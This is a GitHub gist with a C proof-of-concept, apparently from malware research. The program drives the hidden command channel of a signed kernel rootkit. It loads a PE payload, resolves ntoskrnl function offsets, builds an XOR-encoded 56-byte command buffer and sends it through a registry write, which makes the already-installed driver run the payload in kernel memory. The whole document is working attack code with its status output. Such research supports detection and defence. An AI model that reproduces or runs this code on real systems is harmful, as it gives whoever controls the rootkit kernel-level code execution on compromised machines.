Skip to content

Instantly share code, notes, and snippets.

@pierrehpezier
Created March 19, 2026 14:42
Show Gist options
  • Select an option

  • Save pierrehpezier/75a32bf4ee05c4b16004041cab6ea8c0 to your computer and use it in GitHub Desktop.

Select an option

Save pierrehpezier/75a32bf4ee05c4b16004041cab6ea8c0 to your computer and use it in GitHub Desktop.
/*
* Copyright (c) 2026 Nextron Systems
* Author: Pierre-Henri Pezier
*
* POC: Trigger attack chain for the signed kernel rootkit
*
* This demonstrates the usermode-to-kernel code execution pipeline:
* 1. Map a PE payload into process memory
* 2. Resolve ntoskrnl function RVAs from usermode
* 3. Build the 56-byte XOR-encrypted command buffer
* 4. Trigger via RegSetValueEx (any key, any value name)
* 5. Driver intercepts, loads PE into kernel pool, executes it
* 6. RegSetValueEx returns ERROR_ACCESS_DENIED (expected)
*
* Build: cl /W4 poc_trigger.c advapi32.lib
*/
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#pragma pack(push, 1)
typedef struct _C2_COMMAND {
uint64_t command_code; /* +0x00 0x77 = load PE */
uint64_t usermode_pe_ptr; /* +0x08 VA of raw PE mapped in this process */
uint64_t ntoskrnl_rva_1; /* +0x10 ntoskrnl offset for memory allocator */
uint64_t ntoskrnl_rva_2; /* +0x18 ntoskrnl offset for memory protector */
uint64_t result_ptr; /* +0x20 VA of result variable (written to 1) */
uint64_t reserved; /* +0x28 unused */
uint8_t xor_key; /* +0x30 single-byte XOR key for first 48 bytes */
uint8_t padding[7]; /* +0x31 padding to 56 bytes */
} C2_COMMAND; /* total: 0x38 (56) bytes */
#pragma pack(pop)
/*
* Resolve an RVA (offset) within ntoskrnl.exe.
*
* RE_ALLOC_EXECUTABLE does: func_ptr = RE_LOADLIBRARY("ntoskrnl.exe") + rva
* The driver resolves the kernel ntoskrnl base independently, so the RVAs
* we provide are just offsets within the PE — same in usermode and kernel.
*
* IMPORTANT: The two functions used by the driver do NOT match standard
* exported ntoskrnl APIs:
* func_alloc(SizeOfImage, NtCurrentProcess(-1), 0, 0) -> returns ptr
* func_protect(ptr, SizeOfImage, PAGE_EXECUTE_READWRITE) -> returns BOOL
*
* These are likely internal/unexported ntoskrnl routines. The offsets are
* version-dependent and must be found via disassembly of your target ntoskrnl.
*
* If they happen to be exported, this helper resolves them. Otherwise,
* hardcode the offsets directly (see MANUAL_RVA mode below).
*/
static uint64_t resolve_ntoskrnl_rva(HMODULE hNtos, const char *func_name)
{
FARPROC proc = GetProcAddress(hNtos, func_name);
if (!proc) {
printf("[-] Failed to resolve %s (may be unexported)\n", func_name);
return 0;
}
uint64_t rva = (uint64_t)((uintptr_t)proc - (uintptr_t)hNtos);
printf("[+] %s RVA = 0x%llx\n", func_name, rva);
return rva;
}
/*
* XOR-encrypt the first 48 bytes of the command buffer with the key at offset 0x30.
*/
static void xor_encrypt(C2_COMMAND *cmd)
{
uint8_t *buf = (uint8_t *)cmd;
for (int i = 0; i < 0x30; i++) {
buf[i] ^= cmd->xor_key;
}
}
/*
* Load a PE file from disk into process memory (raw, not as a module).
* The driver reads this directly from our address space since the
* registry callback runs in our process context.
*/
static void *load_payload(const char *path, size_t *out_size)
{
HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open payload: %s\n", path);
return NULL;
}
DWORD size = GetFileSize(hFile, NULL);
void *buf = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buf) {
CloseHandle(hFile);
return NULL;
}
DWORD bytes_read;
ReadFile(hFile, buf, size, &bytes_read, NULL);
CloseHandle(hFile);
if (out_size) *out_size = size;
printf("[+] Loaded payload: %s (%u bytes) at 0x%p\n", path, size, buf);
return buf;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <payload.sys>\n", argv[0]);
return 1;
}
const char *payload_path = argv[1];
/*
* RE_ALLOC_EXECUTABLE resolves two ntoskrnl functions via offsets:
*
* func_alloc = ntoskrnl_base + rva_1
* called as: func_alloc(SizeOfImage, -1, 0, 0)
* confirmed: MmAllocateContiguousMemory(NumberOfBytes, HighestAcceptableAddress)
*
* func_protect = ntoskrnl_base + rva_2
* called as: func_protect(alloc, SizeOfImage, 0x40)
* UNKNOWN: unexported internal ntoskrnl function.
* MmSecureVirtualMemory fails (rejects kernel addresses).
* MmChangeImageProtection takes 4 args (doesn't match).
*
* WORKAROUND: reuse MmAllocateContiguousMemory RVA — it returns a
* non-zero pointer which passes the "!= 0" success check.
* Contiguous memory is already RWX on systems without HVCI.
*/
const char *alloc_func_name = "MmAllocateContiguousMemory";
const char *protect_func_name = "MmIsAddressValid"; /* workaround: returns TRUE for valid kernel addr */
/* Fallback: hardcode RVAs if export resolution fails (version-specific) */
uint64_t rva_alloc_manual = 0;
uint64_t rva_protect_manual = 0;
printf("[*] Rootkit POC trigger\n\n");
/* Step 1: Load PE payload into our address space */
size_t pe_size;
void *pe_base = load_payload(payload_path, &pe_size);
if (!pe_base)
return 1;
/* Step 2: Resolve ntoskrnl RVAs */
uint64_t rva_alloc = rva_alloc_manual;
uint64_t rva_protect = rva_protect_manual;
if (alloc_func_name || protect_func_name) {
/* Try export-based resolution */
HMODULE hNtos = LoadLibraryExA("ntoskrnl.exe", NULL,
DONT_RESOLVE_DLL_REFERENCES);
if (!hNtos) {
printf("[-] Failed to load ntoskrnl.exe\n");
return 1;
}
if (alloc_func_name)
rva_alloc = resolve_ntoskrnl_rva(hNtos, alloc_func_name);
if (protect_func_name)
rva_protect = resolve_ntoskrnl_rva(hNtos, protect_func_name);
FreeLibrary(hNtos);
}
if (!rva_alloc || !rva_protect) {
printf("[-] Missing ntoskrnl RVAs. Set manual offsets or export names.\n");
printf(" Disassemble your target ntoskrnl.exe to find:\n");
printf(" rva_alloc: func(size, -1, 0, 0) -> ptr\n");
printf(" rva_protect: func(ptr, size, 0x40) -> BOOL\n");
return 1;
}
printf("[+] rva_alloc = 0x%llx\n", rva_alloc);
printf("[+] rva_protect = 0x%llx\n", rva_protect);
/* Step 3: Build the command buffer */
volatile uint64_t result = 0;
C2_COMMAND cmd;
memset(&cmd, 0, sizeof(cmd));
cmd.command_code = 0x77;
cmd.usermode_pe_ptr = (uint64_t)(uintptr_t)pe_base;
cmd.ntoskrnl_rva_1 = rva_alloc;
cmd.ntoskrnl_rva_2 = rva_protect;
cmd.result_ptr = (uint64_t)(uintptr_t)&result;
cmd.reserved = 0;
cmd.xor_key = 0x41; /* arbitrary, non-zero */
printf("\n[*] Command buffer (pre-encryption):\n");
printf(" command_code = 0x%llx\n", cmd.command_code);
printf(" usermode_pe_ptr = 0x%llx\n", cmd.usermode_pe_ptr);
printf(" ntoskrnl_rva_1 = 0x%llx\n", cmd.ntoskrnl_rva_1);
printf(" ntoskrnl_rva_2 = 0x%llx\n", cmd.ntoskrnl_rva_2);
printf(" result_ptr = 0x%llx\n", cmd.result_ptr);
printf(" xor_key = 0x%02x\n", cmd.xor_key);
/* Step 4: XOR-encrypt first 48 bytes */
xor_encrypt(&cmd);
printf("\n[+] Command encrypted with key 0x%02x\n", ((uint8_t *)&cmd)[0x30]);
/* Step 5: Trigger via registry write — any key, any value name */
HKEY hKey;
LONG status = RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE", 0, KEY_SET_VALUE, &hKey);
if (status != ERROR_SUCCESS) {
printf("[-] RegOpenKeyEx failed: %ld\n", status);
return 1;
}
printf("[*] Sending command via RegSetValueEx...\n");
status = RegSetValueExA(hKey, "Trigger", 0, REG_BINARY,
(const BYTE *)&cmd, sizeof(cmd));
RegCloseKey(hKey);
/*
* Expected: ERROR_ACCESS_DENIED (5)
* The driver intercepts the write, processes the command,
* then returns STATUS_ACCESS_DENIED to block it.
* This is SUCCESS from our perspective.
*/
if (status == ERROR_ACCESS_DENIED) {
printf("[+] RegSetValueEx returned ACCESS_DENIED (expected)\n");
if (result == 1) {
printf("[+] SUCCESS: Payload executed in kernel! result = %llu\n", result);
} else {
printf("[-] Driver processed command but payload did not signal success\n");
}
} else if (status == ERROR_SUCCESS) {
printf("[-] RegSetValueEx succeeded — driver did NOT intercept (not loaded?)\n");
/* Clean up the value we accidentally wrote */
RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE", 0, KEY_SET_VALUE, &hKey);
RegDeleteValueA(hKey, "Trigger");
RegCloseKey(hKey);
} else {
printf("[-] RegSetValueEx returned unexpected error: %ld\n", status);
}
/* Cleanup */
VirtualFree(pe_base, 0, MEM_RELEASE);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment